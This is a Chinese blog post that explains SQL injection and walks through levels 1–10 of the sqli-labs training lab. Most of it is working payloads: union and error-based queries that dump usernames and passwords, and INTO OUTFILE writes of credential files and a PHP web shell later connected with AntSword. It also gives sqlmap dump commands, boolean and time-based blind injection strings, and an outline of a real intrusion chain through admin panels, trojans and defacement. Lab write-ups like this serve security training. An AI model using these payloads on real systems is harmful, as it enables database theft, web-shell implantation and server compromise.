SQL注入非常详细总结_sql注入实验总结_糊涂是福yyyy的博客-CSDN博客 这里先推荐一篇大佬的博客 写的非常详细
先来了解一下sql是什么
SQL 是一种操作数据库的语言,包括创建数据库、删除数据库、查询记录、修改记录、添加字段等。SQL 虽然是一种被 ANSI 标准化的语言,但是它有很多不同的实现版本。
SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。
SQL 是关系型数据库的标准语言,所有的关系型数据库管理系统(RDBMS),比如 MySQL、Oracle、SQL Server、MS Access、Sybase、Informix、Postgres 等,都将 SQL 作为其标准处理语言。
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方——如mysql数据库。那服务器如何对数据获取了?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。
SQL注入点探测。探测SQL注入点是关键的第一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户输入未进行有效验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法有很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断,还可以使用特定函数来判断。
猜解用户名和密码。数据库中的表和字段命名一般都是有规律的,通过构造特殊的SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
查找Web后台管理入口。Web后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
sql注入类型_sql注入分类_iuyoo的博客-CSDN博客 这里就只推荐一个博主的文章
这里只做简单的介绍,下面我们来看sql-labs
在练习靶场前我们需要了解以下mysql数据库结构,mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,该数据库下面有两个表一个是tables和columns。tables这个表的table_name字段下面是所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库。了解这些对于我们之后去查询数据有很大帮助。
【干货】如何判断 Sql 注入点_判断是否存在sql注入_未名编程的博客-CSDN博客
字符型注入,单引号
通过随机输入id得知用户名和密码,网址后面接?id=1
判断 Sql 注入漏洞的类型:1.数字型 2.字符型
用 and 1=1 和 and 1=2 来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 ,页面运行错误,则说明此 Sql 注入为数字型注入。
页面显示正常,说明不是数字型注入漏洞 所以 第一关为字符型注入
判断注入点
当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:
1.Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
2.Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。
输入?id= 1' and '1'='1 页面回显正常
确定是字符型注入
判断列数
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
判断数据显示位置
?id=0' union select 1,2,3--+ (联合注入查询)
因为回显只能显示一组数据,所以把参数ID置空,使用union联合查询,判断回显位。
查询数据库的基本信息
将2,3列替换为想要查询的信息。
?id=-1' union select 1,user(),database()--+
查库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
?id=-1' union select 1,2,group_concat(password) from security.users--+
简单介绍一下
GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
判断注入点
?id=1 and 1=1--+
确定是数字型注入
判断列数
?id=1 order by 3
判断数据显示位置
?id=0 union select 1,2,3
查找当前使用的数据库的名称
?id=0 union select 1,database(),3
查找当前数据库表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
查找表中user字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'
查找user字段里面的内容
?id=-1 union select 1,2,group_concat(username) from users
输入?id=1发现有回显
输入?id=1 and 1=1 发现报错 回显报错,而且报错还多了一个括号。
输入?id=1 and 1=2 发现有正常回显 不是数字型注入 是字符型
根据给的提示,看看输入 ?id=1') and 1=1/1=2 的回显 ’
猜想SQL语句是这样的:select * from user where id=('$id')
我们后面的 ') 可以注释掉,所以我们只要闭合前面的 (' 即可
因此 我们构造的payload:?id=-1') --+
再往里面添加内容就可以了
判断列数
?id=1') order by 3--+
?id=1') order by 4--+
确定是三列 查看回显位 用 union select 联合注入查询
爆库 ?id=-1') union select 1,2,database()--+
爆表 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询字段内容 ?id=-1') union select 1,2,group_concat(username) from users--+
输入 ?id=1 and 1=2 确定是字符型注入
输入 ?id=1' and1=2 发现回显还是正常的
?id=1' order by 3--+ 发现回显还是正常的 而且没有变化
尝试输入 ?id=1" 发现报错
near '"1"") LIMIT 0,1' 这里 '是和limit0,1'闭合的 1后面是双引号闭合
所以我们可以猜想语句然后拼接语句:select * from xxx where id=("$id")
所以我们的payload就是:?id=1")--+
开始注入
判断列数
?id=1") order by 4--+
确定是3列
判断回显位 ?id=-1") union select 1,2,3--+
爆库?id=-1") union select 1,2,database()--+
爆表 ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段 ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
看字段内容 ?id=-1") union select 1,2,group_concat(username) from users--+
?id=1
输入?id=1 and 1=2
输入?id=1' and 1=2 说明第5关是字符型注入 且是报错注入
SQL注入-报错注入_sql报错注入_一句话木马的博客-CSDN博客 这里推荐一个大佬的文章 关于报错注入的
判断字段数
?id=1' order by 3--+
?id=1' order by 4--+
?id=1' union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过报错来显示表名
?id=1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出列名
?id=1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
爆出用户名
?id=1' union select 1, count(*), concat((select username from users limit 0,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
通过注入显示 第六关还是报错注入 但不同的点是第六关是双引号注入
获取数据库名
?id=1" union select 1, count(*), concat((select database()), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取表名
?id=1" union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema='security'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取列名
?id=1" union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), '---', floor(rand(0)*2)) as a from information_schema.tables group by a --+
获取用户名
?id=1"union select 1, count(*), concat((select username from users limit 1,1), '---' , floor(rand(0)*2)) as a from information_schema.tables group by a --+
输入 ?id=1' and 1=2 发现是字符型注入 但是 他不显示任何的sql语句
本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同
查看解析时 发现是导出文件类型的sql注入 这种的sq注入 只需要注入一句话木马然后进行连接
因为回显提示到了
You are in.... Use outfile......
一共是用三种做法
但是需要mySQL数据库开启secure-file-priv写文件权限
如果使用的是phpstudy,进入mysql安装目录
进入目录,找到my.ini 修改里面的secure-file-priv参数
如果没有secure_file_priv这个选项,直接添加即可。
爆库名
?id=-1')) UNION SELECT user(),version(),database() into outfile "d:\\less7\\database.txt" %23
爆表名
?id=-1')) UNION SELECT user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "d:\\less7\\tables.txt" %23
爆列名
?id=-1')) UNION SELECT user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" ) into outfile "d:\\less7\\columns.txt" %23
爆字段内容(获取用户表的账号和密码)
?id=-1')) UNION SELECT user(),version(),(select group_concat(t.up) from (select concat(username, "~",password) up from security.users) t) into outfile "d:\\less7\\users.txt" %23
?id=-1')) union select 1,2,'' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php" --+
向 目标路径 进行写入一个名为eval的php一句话木马,意思是打开命令行
成功写入 用蚁剑链接
第8关是布尔盲注 单引号字符型
SQL注入-盲注(布尔盲注与时间盲注)_一句话木马的博客-CSDN博客
这个大佬的博客详细介绍了盲注
盲注我还是选择用sqlmap来跑
sqlmap -u "http://ip/sqli-labs/Less-8/?id=1" --batch -dbs
爆出数据库
爆表
sqlmap -u "http://ip/sqli-labs/Less-8/?id=1" -D security --tables --batch
爆列
sqlmap -u "http://ip/sqli-labs/Less-8/?id=1" -D security -T users --columns --batch
获取数据
sqlmap -u "http://ip/sqli-labs/Less-8/?id=1" -D security -T users -C username --dump --batch
还有脚本跑也是可以的
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
可以通过 > < 比较字符大小加速爆破
?id=1
页面正常,加引号判断
?id=1'
当我们加入注释符–+后,页面显示正常,我们可以同第五关的办法进行通关。
?id=1' and length(database())=8 --+
页面正常显示,说明长度为8
判断数据库名第一位是否大于‘a’:
?id=1'and left(database(),1)>'a'--+
然后b.c.d一直到s页面报错说明第一位为s
然后判断前两位是否大于'sa':
?id=1'and left(database(),2)>'sa'--+
以此类推.......可以使用二分法提高效率
然后猜解表名(ascii)
第一个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101--+
第一个表的第二个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>109--+
第二个表的第一个字符:?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114--+
继续猜解指定表下的列名(regexp注入)
users表下的列名?id=1'and 1=(select 1 from information_schema.columns where table_name='users' and table_name regexp '^us[a-z]' limit 0,1)--+ 猜users表下是否存在有us[a-z]]样式的列名
第九关是时间盲注
大致和第八关差不多,在使用sqlmap的时候,只需要将 T 改为 B
?id=1' and '1'=1 --+
?id=1' and '1'=2 --+
使用时间盲注,类似于Less-8
爆破数据库
?id=1' and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1' and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+
在第九关的基础上,将单引号换成双引号。
?id=1" and '1'=1 --+
?id=1" and '1'=2 --+
?id=1" and if(ascii(substring(database(),1,1))=115,sleep(10),1)--+
爆破表名
?id=1" and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(10),1);--+
爆破内容
?id=1" and if(ascii(substr((select username from security.users order by id limit 0,1),1,1))=68,sleep(10),1);--+